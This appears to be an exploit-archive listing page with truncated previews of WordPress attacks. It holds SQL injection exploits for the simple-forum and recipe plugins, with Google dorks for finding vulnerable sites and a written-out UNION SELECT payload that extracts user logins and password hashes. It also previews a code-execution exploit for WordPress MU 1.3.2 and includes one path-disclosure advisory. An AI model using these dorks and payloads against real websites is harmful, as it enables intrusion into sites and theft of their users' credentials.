WordPress SQL Injection(wp-content-simple-forum)

WordPress SQL Injectionwp-content-simple-forum AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DORKS 1 : allinurl :"wp-content/plugins/simple-forum" DORK 2 : allinurl :"simple-forum/ahah" EXPLOIT :...

Wordpress Plugin (wp-content/recipe) SQL Injection

Wordpress Plugin wp-content/recipe SQL Injection AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DORK 1 : allinurl: "wp-content/recipe" EXPLOIT : wordspew-rss.php?id=-998877//UNION//SELECT//0,1,concat0x7c,userlogin,0x7c,userpass,0x7c,concat0x7c,userlogin,0x7c,userpass,0x7c,4,5//FROM//wpusers...

WordPress MU 1.3.2 - active_plugins option Code Execution

WordPress MU 1.3.2 - activeplugins option Code Execution Website : http://www.buayacorp.com/ Advisory: http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html This exploit uses activeplugins option to execute arbitrary PHP / includeonce './class-snoopy.php'; // Fix Snoopy cla...

PT-2005-2664 · WordPress · Wordpress

Name of the Vulnerable Software and Affected Versions: Wordpress versions 1.5 and earlier Description: The issue allows remote attackers to obtain sensitive information via a direct request to files in 1 wp-content/themes/, 2 wp-includes/, or 3 wp-admin/, which reveal the path in an error message...